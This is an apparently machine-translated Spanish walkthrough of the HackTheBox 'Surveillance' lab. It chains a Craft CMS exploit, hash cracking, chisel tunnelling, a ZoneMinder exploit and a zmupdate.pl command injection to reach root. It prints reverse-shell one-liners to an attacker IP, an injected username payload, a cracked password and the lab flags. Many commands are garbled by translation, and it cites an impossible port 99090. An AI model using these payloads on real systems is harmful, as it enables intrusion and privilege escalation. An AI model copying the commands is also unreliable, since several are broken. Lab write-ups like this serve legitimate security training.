Cubrimos el tutorial de HackTheBox Surveillance donde demostramos la explotación de la reciente vulnerabilidad CVE-2023-41892 que afectó a Craft CMS además de la explotación de CVE-2023-26035 eso afectó a ZoneMinder, que es un conjunto integrado de aplicaciones que brindan una solución de vigilancia completa que permite capturar, analizar, grabar y monitorear cualquier CCTV o cámara de seguridad conectada a una máquina basada en Linux.

Antes de comenzar, agregue la IP del host al archivo de hosts con el nombre de la máquina

echo '10.10.11.245 vigilancia.htb' | sudo tee -a /etc/hosts

Notas de estudio de seguridad cibernética

Notas de estudio de OSCP

Escaneo y enumeración

Los resultados del escaneo de Nmap están a continuación

Dominio: nmap -Pn -p- —

# Nmap 7.94SVN scan initiated Wed Jan 24 16:36:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.245
Nmap scan report for 10.10.11.245
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=22%CT=1%CU=42608%PV=Y%DS=2%DC=T%G=Y%TM=65B1
OS:830B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT      ADDRESS
1   11.81 ms 10.10.14.1
2   11.87 ms 10.10.11.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 24 16:37:15 2024 -- 1 IP address (1 host up) scanned in 29.07 seconds

En el puerto 80 tenemos un servidor nginx.

80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: No siguió la redirección a http://surveillance.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu)

Navegar a la página principal del servidor web muestra que es un potencialmente un servidor Craft CMS

Además, la página de administración se puede encontrar ejecutando una enumeración de directorios usando Gobuster usando el siguiente comando

directorio gobuster -u http://surveillance.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt,html -r -o gobuster-80.txt -t 100

Y la página de administración se puede encontrar en: /admin/iniciar sesión

Explotación de vulnerabilidades de Craft CMS

¿Qué es Craft CMS?

CMS artesanal es un Sistema de Gestión de Contenidos fácil y claro. Ofrece todos los mecanismos necesarios para realizar las tareas diarias necesarias para un sitio web funcional. Sin duda, la integración de contenido será sencilla.

La versión de Craft CMS es vulnerable a CVE-2023-41892 con esto POS disponible públicamente.

Entendiendo la hazaña

  1. El getTmpUploadDirAndDocumentRoot() le permite ejecutar phpinfo  que lee la raíz web principal además del directorio de carga.
  2. El escribirPayloadToTempFile(documentRoot) la función produceHTTP 502 Error HTTP que indica explotación exitosa. Podemos escribir código PHP arbitrario en la raíz del sitio como si fuera una imagen usando la extensión vulnerable Imagick.
  3. El trigerImagick(tmpDir) La función realiza una llamada a la extensión Imagick para leer nuestro archivo PHP. Luego, la extensión Imagick lee nuestro archivo y ejecuta el código PHP.

Algunas personas informaron problemas al ejecutar el exploit, por lo que si esto le sucedió a usted, puede seguir el método Metasploit que se describe a continuación.

Explotación de vulnerabilidades de Craft CMS con Metasploit


sudomsfconsole

Entonces escoge explotar/linux/http/craftcms_unauth_rce_cve_2023_41892

msf6 > usar 1 msf6 > configurar rhosts vigilancia.htb msf6 > configurar rport 80 msf6 > configurar ssl false msf6 > configurar lhost tun0 msf6 > configurar lport 443 msf6 > ejecutar

Y debería hacerse y podrá pasar a la fase posterior a la explotación y la escalada de privilegios.

Después de la explotación y la escalada de privilegios

Correr quién soy y uname -a muestra el siguiente resultado en cuanto al sistema operativo y al usuario que se ejecuta en la máquina

PRETTY_NAME="Ubuntu 22.04.3 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu .com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms -and-policies/privacy-policy" UBUNTU_CODENAME=jammy Linux vigilancia 5.15.0-89-generic #99-Ubuntu SMP lunes 30 de octubre 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-datos) gid=33(www-datos) grupos=33(www-datos)

Después de una enumeración del sistema operativo, notamos una copia de seguridad de SQL en la siguiente ruta

/var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip 

Esta base de datos contenía un hash SHA256 sin sal para el usuario Mateo.

Puede verificar esto ejecutando el siguiente comando

 cat /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip | grep -yo mate

Descifrando contraseñas con JohnTheRipper

Ejecute los siguientes comandos para agregar el hash a un archivo y descifrarlo usando John con la lista de palabras rockyou.txt.

echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash john --format=Raw-SHA256 --wordlist=rockyou.txt hash

Verás que la contraseña es starcraftt122490 luego lo usamos para iniciar sesión como Matthew.

ssh matthew@surveillance.htb

Pivote de red y movimiento lateral

Al ejecutar netstat para determinar las conexiones de red internas, descubrimos que The cuidador de zona el servicio está escuchando 127.0.0.1:8080

Esto lo que nos obligará a utilizar el reenvío de puertos para poder interactuar con este servicio.

Nosotros podemos usar cincel que puedes descargar y ejecutar usando los siguientes comandos

wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gz gunzip ./chisel.gz chmod u+x ./chisel.gz sudo python3 - m http.servidor 80

Alojamos chisel en la máquina atacante para poder descargarlo en la máquina htb.

wget http://kali-vpn-ip/chisel -O /tmp/chisel chmod u+x /tmp/chisel

Entonces podemos correr cincel con el siguiente comando en la máquina atacante:

servidor sudo ./chisel --reverse --port 8081 &

Y en la máquina HTB

/tmp/chisel cliente 10.10.14.10:8081 R:99090:127.0.0.1:8080 R:3306:127.0.0.1:3006 &

Si todo se hace bien, debería poder navegar hasta 127.0.0.1:99090 para acceder al servicio ZoneMinder cuya versión parece ser 1.36.32.

Explotación de ZoneMinder

¿Qué es ZoneMinder?

ZoneMinder es un conjunto integrado de aplicaciones que proporciona una solución de vigilancia completa que permite capturar, analizar, grabar y monitorear cualquier CCTV o cámara de seguridad conectada a una máquina basada en Linux. Está diseñado para ejecutarse en distribuciones que admiten la interfaz Video For Linux (V4L) y ha sido probado con cámaras de video conectadas a tarjetas BTTV, varias cámaras USB y también es compatible con la mayoría de las cámaras de red IP.

Un poco de investigación y buscar en Google muestra que es una versión vulnerable. CVE-2023-26035

Para que el exploit funcione, simplemente cambie la línea 16 de index.php a /index.php.

Ejecute el exploit

./zm-pwn.py --target http://127.0.0.1:99090 --cmd "bash -c 'bash -i >& /dev/tcp/ /4444 0>&1'"

Por supuesto, no olvide ejecutar un oyente en su máquina usando netcat.

nc-lvp 4444

Hacer esto te dará la cáscara como cuidador de zona usuario.

Tenga en cuenta que el usuario de Zoneminder puede ejecutar cualquier script zm[a-zA-Z]*.pl en /usr/bin/ sin contraseña.

A menudo se encuentran scripts PHP que abusan de las API exec(), shell_exec() o system() para ejecutar comandos en el host.

Al buscar scripts Perl para lograr esto, encontramos el comando exec().

El único problema es que, salvo un script, ninguno de ellos emplea este comando y no es vulnerable.

Estos scripts de Perl parecen hacer referencia con frecuencia al comando ejecutar() y, por lo que he buscado, se utiliza para ejecutar sentencias SQL preparadas. Por lo tanto, será necesario encontrar una llamada de ejecución () que acepte un parámetro de usuario y no limite al usuario a tipos de datos o entradas particulares.

El script perl zmupdate.pl que es susceptible. Donde el script tomará la entrada de nuestro nombre de usuario y lo ejecutará es en la línea 1056. El script codificará las entradas, por lo tanto, intentar explotar una contraseña no funcionará.

Si ejecutamos el siguiente comando, podemos ver el '/bin/bash -ip' inyectado en la declaración SQL preparada

sudo /usr/bin/zmupdate.pl -u '/bin/bash -ip' -p '' -v 1

Entonces esto significa que si nosotros ejecute el comando en un subshell, se evaluará antes que el resto de la declaración SQL preparada.

sudo /usr/bin/zmupdate.pl -u '$(bash -c "bash -ip >& /dev/tcp/10.10.14.10/443 0>&1")' -p '' -v 1

Banderas de usuario y raíz de vigilancia de HackTheBox

Bandera de usuario


1f4b734f81280d55388c9ff39cd13152

Bandera raíz


3457f277222b96dc0f126f9d92defe37

Lista de reproducción del tutorial de HackTheBox CTF

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos